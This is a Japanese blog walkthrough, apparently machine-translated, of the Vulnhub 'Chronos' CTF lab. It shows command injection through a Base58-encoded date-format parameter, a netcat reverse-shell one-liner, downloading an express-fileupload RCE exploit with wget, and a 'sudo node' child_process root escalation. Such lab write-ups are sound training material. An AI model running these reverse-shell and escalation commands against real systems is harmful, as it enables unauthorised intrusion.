世界

Chronos Vulnhub マシン | ウォークスルー | 投稿者: ニートロックス | 2024年3月

3月 27, 2024 / nipponese

1711545448
2024-03-27 13:05:22

🔍💻 AL1ENUM による Vulnhub の取り組みやすいチャレンジ、Chronos に飛び込みましょう! 初心者に最適なこの中型マシンは VirtualBox でテストされており、逆接続や権限昇格戦術のためのリモート コマンド実行などの重要な脆弱性が満載です。 謎を解明する準備はできましたか? 段階的に見ていきましょう。 #クロノス #Vulnhub #CTF #サイバーセキュリティ 🔒🔧

1- ターゲット IP を特定する

🔍 Nmap で狩りを開始します! ネットワーク上のターゲット IP アドレスを特定することがステップ 1 です。

nmap 192.168.1.1/24

2- ターゲットを列挙する

ポートnmapスキャンから始めました

nmap -sV -Pn 

nmap の出力では、3 つのサービスが実行されていることがわかります。

— ポート 22 SSH サーバーが実行中

— ポート 80 HTTP サービスが実行中 (Apache サーバー)

— ポート 8000 HTTP サービスが実行中 (Node.js Express フレームワーク)

次に、Feroxbuster で隠しディレクトリのスキャンを実行しましたが、興味深いものが見つかりませんでした。

偵察を完了して、これらの Web サイトがどのようなものかを直接見てみましょう。 ブラウザで開いて詳しく見てみましょう。

ウェブサイトがうまくいきませんか? さらに深く掘り下げてみましょう。 ページのソースでホスト名と URL を検査します。

興味深いですね、出力にはポート 8000 への呼び出しが 2 回失敗しています。 ただし、/etc/hosts ファイルにホスト名がなければ、ルーティングは不可能です。 構成を更新して再試行してみましょう。

sudo nano /etc/hosts

クロノスのランディング ページを閲覧して更新してみましょう http://chronos.local:8000、日付と時刻に何か新しいものを取得します。

今回は上記ソースページのURLにアクセスしましたが、サーバーから「許可が拒否されました」というメッセージが返されました。 そこで、このページの HTTP リクエストを burp スイートを通じてインターセプトすることにしました。

GET メソッドの HTTP リクエストには、bas58 エンコードされた引数を持つフォーマット パラメータが含まれています。

今度はこれを解読しなければなりません。これが私たちのトロフィーになるような気がします。

サイバー シェフは理解したようです。これは Base58 でエンコードされた文字列で、「+今日は %A, %B %d, %Y %H:%M:%S」というメッセージが含まれています。

アプリケーションは、時刻および日付コマンドの OS 機能を呼び出し、フォーマット パラメーターを介して OS コマンドを挿入できる可能性を広げます。 潜在的な OS コマンド インジェクションのためにフォーマット パラメータをファジングしてみましょう。 自由に、base58_encoded の任意のシステム コマンドを実行してみてください。 慎重に探索を進めていきましょう! 💻

💥 ゲームを始めましょう! 😎 搾取のスリルに備えてください。 少し難しいかもしれませんが、そこに面白さがあります。

袖をまくって創造性を発揮しましょう! シンプルな Base58 エンコーダ/デコーダを利用して、いくつかのテスト ペイロードを作成して注入します。

私はこの簡単なコマンドから始めます:

'+Today is %A, %B %d, %Y %H:%M:%S.'; ls -la
convert to base58>> 3tMMgHUnzUbrMNnoRimpQhWEkSPfyktyDehmp58hDsbcctg2FtShKRYCtY8

そしてげっぷスイートを注入します

💥 進捗状況の更新: コマンドの実行 ✔️ 次に、netcat リバース シェルを挿入してゲームを強化しましょう。 成功した接続の力が明らかになるのを目撃する準備をしてください。

次のステップでは、指定されたリンクにアクセスして netcat リバース シェルのワンライナーを取得し、リスナーのアドレスとポートに従ってペイロードを変更します。

次のコマンドを使用して、ホスト IP を設定してください。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc  1234 >/tmp/f
convert to base58 >> 6WCyYXzX5JfRsqNzSZvZmbBPDPTbvRai8JcPWnALMZ7cV4xcPUabLqmPfBRSgQCTjDoLovbUoQocMWV5ZpfYM8edDaxB2amEM9wWdfnaN14v8F7

ここで、リスナーを開始することを忘れないでください

nc -lvp 1234

次に、前の注入と同様に、エンコードされた netcat スクリプトのリバース シェルを注入し、リクエストをサーバーに送信します。

「おおおおお」、貝殻が出てきました! どうやら私たちが www-data ユーザーのようです。

権限を昇格してみましょう。

単純なユーザーへのアクセスを保護したら、権限昇格の可能な手段を調査しましょう。

注: 権限昇格は、システム上で最初に付与されていたものよりも高いレベルのアクセスまたは権限を取得するプロセスであり、多くの場合、脆弱性を悪用してシステムの制御を強化します。

🕵️‍♂️ 列挙後、/opt ディレクトリに 2 つのフォルダー「chronos」と「chronos-v2」が表示されます。 「chronos-v2」を入力すると、「frontend」と「backend」という 2 つの追加フォルダーが見つかります。 これらのディレクトリをさらに詳しく調べて、そこにどんな秘密があるのか​​を明らかにしましょう。 📂

内部で対象となるファイルはserver.jsです。 このファイルを調べると、マシン上で別のノード サーバーが実行されていることがわかります。

ポート 8080 で内部的にリッスンしているようです。さらに、/opt/chronos-v2/frontend/pages にあるインデックス ファイルをレンダリングし、express および Express-fileupload というモジュールが必要です。

🔍 「nodeexpress-fileuploadexploit」を検索した結果、リモートコード実行 (RCE) という重大な脆弱性について詳しく説明しているサイトを見つけました。

幸いなことに、express-fileupload を悪用する EJS-RCE 攻撃を実行する Python スクリプトが見つかりました。

次に、エクスプロイト コードを取得し、ホスト IP (Kali Machine) ファイルに変更を加え、ファイルに次の名前を付けます。 エクスプロイト.py

今、転送する必要があります エクスプロイト.py ターゲットマシンに接続することで、Python サーバーを使用できるようになります。

python3 -m http.server 8000

次に、作成したエクスプロイトをtmpフォルダー内の「wget」を使用してダウンロードします。

cd /tmp
wget http:///exploit.py

ポート 1234 で別の Netcat リスナーを開始してみましょう。

nc -lvp 1234

次に、ターゲット マシン上で次のコマンドを使用してエクスプロイトを実行します。

python3 exploit.py

エクスプロイトの実行時に、リスナーを介して制限付き特権シェルを正常に取得しました。 次に、権限昇格について説明します。 ユーザー「imera」の sudo 権限を調べてみましょう。

「imera」には、node と npm という 2 つのプログラムを実行するためのすべての権限があるようです。

ちょっと検索してみると、「child_process.spawn」メソッドを利用して bash スクリプトを実行できるようです。 実行が成功したときに root 権限を付与するように設計された bash スクリプトを作成することで、root シェルを取得する道が開かれます。 この計画を効果的に実行するために、慎重かつ正確に作業を進めていきましょう。 🚀

「child_process.spawn」メソッドは、子プロセスを生成するために Node.js によって提供される機能です。 このコンテキストでは、「child_process.spawn」を使用して bash スクリプトを実行するには、指定されたスクリプトを実行する子プロセスを作成する必要があります。 このスクリプトには、権限を昇格するように設計されたコマンドが含まれている可能性があり、正常に実行されると root アクセス権が付与されます。

>からスクリプトを入手します

sudo node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'

成功! スクリプトを実行すると、待望の root シェルが取得されました。 次のコマンドでユーザー ID を確認して、昇格された権限を確認してみましょう。 id。 次に、ルート ディレクトリに移動して、新しく見つかったアクセスを調べます。

次に、ルート ディレクトリに移動して、新しく見つかったアクセスを調べます。

cd /root

root.txt ファイルを開くと、root フラグが表示されます。

楽しんでいただければ幸いです。 ハッピーハッキング!

#Chronos #Vulnhub #マシン #ウォークスルー #投稿者 #ニートロックス #2024年3月